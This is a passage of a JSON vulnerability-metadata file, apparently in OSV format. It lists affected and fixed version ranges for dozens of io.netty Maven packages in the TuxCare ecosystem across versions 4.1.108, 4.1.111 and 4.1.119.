ges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.111.Final"},{"fixed":"4.1.111.Final-tuxcare.1"}]}],"versions":["4.1.111.Final"],"bundled":60},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem"